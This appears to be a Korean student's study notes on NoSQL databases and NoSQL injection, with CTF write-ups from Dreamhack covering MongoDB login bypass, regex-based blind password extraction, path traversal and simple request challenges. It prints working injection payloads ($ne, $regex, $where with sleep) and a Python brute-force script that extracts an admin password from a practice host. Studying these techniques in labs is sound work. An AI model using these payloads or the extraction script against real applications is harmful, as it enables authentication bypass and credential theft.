비관계형 데이터베이스
SQL 사용하지 않고 복잡하지 않은 데이터 저장
단순 검색 및 추가 검색 작업 위해 매우 최적화된 저장 공간
키-값을 사용해 데이터 저장
Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재
JSON 형태의 document 저장
예시를 통해 이해하기
데이터를 삽입하고 조회하는 쿼리의 예시
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
db.inventory.find: inventory 컬렉션에서 조회한다
$: 연산자 사용 가능
{ status: "A" }, { qty: { $lt: 30 } } : status가 "A", qty값이 30보다 작은 데이터
$ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })
> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }
db.user.insert: user 컬렉션에 삽입(추가)
uid 필드에는 'admin', upw 필드에는 'secretpassword' 데이터 저장
insert 명령이 삽입된 문서 수를 알려주는 WriteResult 반환
db.user.find: user 컬렉션에서 uid 필드가 admin인 문서 검색
_id: 문서의 고유 식별자인 ObjectId 나타냄, 나머지 필드는 삽입 시 지정한 값들 포함
지정된 값과 같은 값을 찾기
배열 안에 값들과 일치하는 값 찾기
지정된 값과 같지 않은 값 찾기
배열 안의 값들과 일치하지 않는 값 찾기
논리적 and , 각각의 쿼리를 모두 만족하는 문서가 반환
쿼리 식과 일치하지 않은 문서 반환
논리적 nor, 각각의 쿼리를 모두 만족하지 않는 문서 반환
논리적 or, 각각의 쿼리 중 하나 이상 만족하는 문서 반환
지정된 필드가 있는 문서 찾기
지정된 필드가 지정된 유형인 문서 선택
쿼리 언어 내 집계 식 사용 가능
지정된 정규식과 일치하는 문서 선택
지정된 텍스트 검색
SELECT * FROM account;
=>db.account.find()
db.account.find({user_id: "admin"})
db.account.find({ user_id: "admin" },{ user_idx:1, _id:0 })
INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");
=>db.account.insert({user_id: "guest",user_pw: "guest"})
DELETE FROM account;
=>db.account.remove()
db.account.remove( {user_id: "guest"} )
UPDATE account SET user_id="guest2" WHERE user_idx=2;
=>db.account.update({user_idx: 2},{ $set: { user_id: "guest2" } })
키-값(Key-value) 쌍 가진 데이터 저장
메모리 기반의 DBMS->읽고 쓰는 작업을 다른 것들에 비해 훨씬 빠르게 수행
=>다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주요 사용
예시를 통해 이해하기
$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"
SET test 1234: test라는 키에 1234 값 설정
set명령: OK 반환-> 성공적으로 값 설정 알려줌
GET test : test라는 키에 저장된 값 가져옴 -> 해당 키에 저장된 값인 1234 반환
GET key: 데이터 조회
MGET key [key ...]: 여러 데이터 조회
SET key value: 새로운 데이터 추가
MSET key value [key value ...]: 여러 데이터 추가
DEL key [key ...]: 데이터 삭제
EXISTS key [key ...]: 데이터 유무 확인
INCR key: 데이터 값에 1 더함
DECR key: 데이터 값에 1 뺌
INFO [section]:DBMS 정보 조회
CONFIG GET parameter: 설정 조회
CONFIG SET parameter value: 새로운 설정 입력
JSON 형태인 도큐먼트(Document) 저장, 웹 기반의 DBMS, REST API 형식으로 요청을 처리
새로운 레코드 추가
레코드 조회
레코드 업데이트
레코드 삭제
예시를 통해 이해하기
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"} :
PUT 요청 사용해 'users' DB에 'guest'라는 문서 생성하는 명령, 요청 URL에는 로컬호스트 주소와 포트, 사용자 이름, 비밀번호 포함, '-d'플래그는 요청 본문에 전달할 데이터 지정하는데 여기서는 JSON 형식으로 upw 필드에 guest 값 가지는 데이터 전달, 응답으로는 ok 필드가 true로 설정된 JSON 반환, 생성된 문서의 고유 식별자인 'id'와 리비전('rev')제공
curl http://{username}:{password}@localhost:5984/users/guest{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"} :
GET 요청을 사용하여 CouchDB 데이터베이스의 users DB에서 guest 문서를 조회하는 명령, URL에 사용자 이름과 비밀번호가 포함, 응답으로 guest 문서의 내용이 JSON 형식으로 반환되며, _id와 _rev 필드는 문서의 고유 식별자와 리비전 나타냄
_문자로 시작하는 URL과 필드는 특수 구성 요소를 나타냄
인스턴스에 대한 메타 정보 반환
인스턴스의 데이터 베이스 목록 반환
관리자 페이지로 이동
지정된 데이터베이스에 대한 정보 반환
지정된 데이터베이스에 포함된 모든 도큐먼트 반환
지정된 데이터 베이스에서JSON 쿼리에 해당하는 모든 도큐먼트 반환
입력값이 쿼리에 포함되면서 발생하는 문제점
MongoDB의 NoSQL Injection 취약점: 이용자의 입력값에 대한 타입 검증 불충분할 때
데이터 자료형으로 문자열, 정수, 날짜, 실수 등 외에 오브젝트, 배열 타입 사용 가능
=>오브젝트 타입의 입력값을 처리할 때 쿼리 연산자 사용 가능, 이를 통해 다양한 행위 가능
예제를 통해 이해하기
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
express 모듈로 app객체 생성
'/' 경로에 대한 GET 요청 핸들러 등록, 요청 핸들러는 콜백 함수로서 req와 res 매개변수 받음
이 콜백 함수에서 console.log()사용해 요청 쿼리 파라미터의 data 값 출력, res.send() 사용하여 hello world 라는 문자열 클라이언트에게 응답
app객체 사용해 서버 시작, app.listen() 함수는 지정된 포트 (3000번) 에서 서버 시작, 이때 콜백 함수 실행, app.listen 메세지 출력
이 코드 문제점:req.query의 타입이 문자열로 지정x-> 문자열 이외의 타입 입력될 수 o
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
각각의 타입을 입력한 모습, 일반적인 문자열 이외에 오브젝트 타입 삽입할 수 있는 것을 확인 가능
연산자를 이용한 NoSQL Injection
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
user 컬렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터 찾고, 출력하는 예제
->이용자의 입력 값에 대한 타입 검증x, 오브젝트 타입 값 입력 가능
오브젝트 타입 값이 입력 가능하다?????
연산자 사용할 수 있다!!!!
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
$ne : not equal 약자
일치하지 않는다면 데이터 반환
입력예시: {"uid": "admin", "upw": {"$ne":""}}
->upw모르더라도 출력 가능
참/거짓을 통해 데이터베이스 정보 알아낼 수 o
연산자 $regex, $where 이용해서 Blind NoSQL Injection 가능
regex: 지정된 정규식과 일치하는 문서 선택
where: 자바 스크립트 표현식을 만족하는 문서와 일치
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
각 문자로 시작하는 데이터 조회하는 쿼리
user 컬렉션에서 upw 필드가 정규식 패턴에 맞는 값을 가지는 문서 검색
db.user.find({upw: {$regex: "^a"}}): 문자열이 a로 시작하지 나타냄
ex)apple, abs는 ^a라는 정규식 패턴과 일치
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
where연산자 사용해 조건식 1==1을 실행하는 자바스크립트 함수를 쿼리로 사용 =>항상 ture 반환 =>모든 문서 선택하는 결과 반환 즉, user 컬렉션의 모든 문서 반환 db.user.find({uid:{where:"return 1==1"}})에서 오류 발생
=>field에서 사용할 수 x
즉, $where를 사용할 때 조건식을 전체 문서에 대해 적용해야 하며, 필드 수준에서는 사용할 수 없다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
user 컬렉션에서 upw필드의 첫 번째 문자가 특정 문자로 시작하는 문서를 검색함
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
sleep 함수를 사용하면 지연 시간을 통해 참/거짓 결과 확인 가능
req.query.uid: Express.js에서 HTTP GET 요청의 쿼리 파라미터(Query Parameter) 중 uid 이름을 가진 값을 가져오는 것을 의미
/users?uid=admin&upw=secretpassword와 같은 url 요청한다면, req.query.uid는 admin반환, req.query.upw는 secretpassword 반환
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
Error based injection: 에러를 기반으로 데이터를 알아내는 기법, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킴
upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생
비밀번호 길이 획득법
{"uid": "admin", "upw": {"regex":".{5}"}} => admin {"uid": "admin", "upw": {"regex":".{6}"}}
=> undefined
upw가 5라는 것을 확인할 수 o
비밀번호 획득
{"uid": "admin", "upw": {"regex":"^a"}} =>admin {"uid": "admin", "upw": {"regex":"^ap"}}
=>admin
...
{"uid": "admin", "upw": {"$regex":"^apple"}}
=>admin

플래그는 admin 계정의 비밀번호라고 한다.
문제 파일에서 main.js 코드부터 살펴보자
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
우선 /부터 url에 추가해보았다.

그랬더니 /login?uid=guest&upw=guest 이런 형식이 나온다.
같은 형식으로 /login?uid=admin&upw=guest url에 넣어보니까

필터라고 나온다.
const BAN = ['admin', 'dh', 'admi']; 이것을 통해 필터링 되는 듯하다.
문자열에 대한 검증이 없으므로, object 형태로 전달해서 연산자를 사용해야겠다.
그런데.. 필터링은 어떻게 우회하지..
난.. adadminmin 이것밖에 모르는데.. 일단 해보자
/login?uid[$regex]=adadminmin&upw[$regex]=DH{*
이렇게 해볼라니까 바로 filter 나온다. 다른.. 우회방법 뭐가 있을까..
검색해보니까 '.'이 정규 표현식에서 임의의 문자를 나타낸다고 한다.
/login?uid[$regex]=a.min&upw[$regex]=D.{*
이렇게 넣으면

이런식으로 하면 될 것 같아서

이렇게.. 여러 개 넣어보다가 8에서 성공했다.. 어떻게 다 찾지 ㅠㅠ
우선 문자열 길이부터 알아맞춰야지 ^^
.{}
burp suite에서 이런거 해본적 있던 것 같아서..!
이렇게 해주고 1~100까지 해봤더니

36까지만 200번대인데.. 36글자가 갯수라는건가?
믿고.. 해보자..
DH{} 이렇게 4글자 빼고 brute force 돌려줘봐야겠다.. 돌리는 동안 다른 문제 풀어야지
결론못푸렀다에라이
import requests, string
HOST = 'http://host3.dreamhack.games:12029'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
학습에서.. 가져와서 돌렸다..

그래그래.. 이해하면 된거지..

파일 다운로드에 취약점이 존재한다고 한다.
늘 그렇듯 파일부터 열어보자
#!/usr/bin/env python3
import os
import shutil
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
UPLOAD_DIR = 'uploads'
@APP.route('/')
def index():
files = os.listdir(UPLOAD_DIR)
return render_template('index.html', files=files)
@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
if request.method == 'POST':
filename = request.form.get('filename')
content = request.form.get('content').encode('utf-8')
if filename.find('..') != -1:
return render_template('upload_result.html', data='bad characters,,')
with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
f.write(content)
return redirect('/')
return render_template('upload.html')
@APP.route('/read')
def read_memo():
error = False
data = b''
filename = request.args.get('name', '')
try:
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
data = f.read()
except (IsADirectoryError, FileNotFoundError):
error = True
return render_template('read.html',
filename=filename,
content=data.decode('utf-8'),
error=error)
if __name__ == '__main__':
if os.path.exists(UPLOAD_DIR):
shutil.rmtree(UPLOAD_DIR)
os.mkdir(UPLOAD_DIR)
APP.run(host='0.0.0.0', port=8000)

바로 /upload로 들어가줬다
filename에 hello content에 안녕을 해준 결과이다.

hello Memo에 content는 그대로 뜬다.
http://host3.dreamhack.games:11607/read?name=hello
그리고 그때의 url은 이렇다.
flag.py를 입력해주니까

존재하지 않는다고 한다.
ㅎ..
댓글을 살짝 봐주니까 ../을 이용하래서 디렉터리를 이동하라는건가 싶어서 해보니까

에ㅣ..머지..

#!/usr/bin/python3
import os
from flask import Flask, request, render_template, redirect, url_for
import sys
app = Flask(__name__)
try:
# flag is here!
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/step1", methods=["GET", "POST"])
def step1():
#### 풀이와 관계없는 치팅 방지 코드
global step1_num
step1_num = int.from_bytes(os.urandom(16), sys.byteorder)
####
if request.method == "GET":
prm1 = request.args.get("param", "")
prm2 = request.args.get("param2", "")
step1_text = "param : " + prm1 + "\nparam2 : " + prm2 + "\n"
if prm1 == "getget" and prm2 == "rerequest":
return redirect(url_for("step2", prev_step_num = step1_num))
return render_template("step1.html", text = step1_text)
else:
return render_template("step1.html", text = "Not POST")
@app.route("/step2", methods=["GET", "POST"])
def step2():
if request.method == "GET":
#### 풀이와 관계없는 치팅 방지 코드
if request.args.get("prev_step_num"):
try:
prev_step_num = request.args.get("prev_step_num")
if prev_step_num == str(step1_num):
global step2_num
step2_num = int.from_bytes(os.urandom(16), sys.byteorder)
return render_template("step2.html", prev_step_num = step1_num, hidden_num = step2_num)
except:
return render_template("step2.html", text="Not yet")
return render_template("step2.html", text="Not yet")
####
else:
return render_template("step2.html", text="Not POST")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", flag_txt="Not yet")
else:
#### 풀이와 관계없는 치팅 방지 코드
prev_step_num = request.form.get("check", "")
try:
if prev_step_num == str(step2_num):
####
prm1 = request.form.get("param", "")
prm2 = request.form.get("param2", "")
if prm1 == "pooost" and prm2 == "requeeest":
return render_template("flag.html", flag_txt=FLAG)
else:
return redirect(url_for("step2", prev_step_num = str(step1_num)))
return render_template("flag.html", flag_txt="Not yet")
except:
return render_template("flag.html", flag_txt="Not yet")
app.run(host="0.0.0.0", port=8000)
플래그 형태 : DH{sample_flag}
if request.method == "GET":
prm1 = request.args.get("param", "")
prm2 = request.args.get("param2", "")
step1_text = "param : " + prm1 + "\nparam2 : " + prm2 + "\n"
if prm1 == "getget" and prm2 == "rerequest":
return redirect(url_for("step2", prev_step_num = step1_num))
return render_template("step1.html", text = step1_text)
else:
return render_template("step1.html", text = "Not POST")
여기를 보고 
제출해줬더니
step2로 넘어간 것 같다.
if prm1 == "pooost" and prm2 == "requeeest":
return render_template("flag.html", flag_txt=FLAG)
에엥 이거보고 pooost, requeeest 차례대로 넣으니까 나왔다
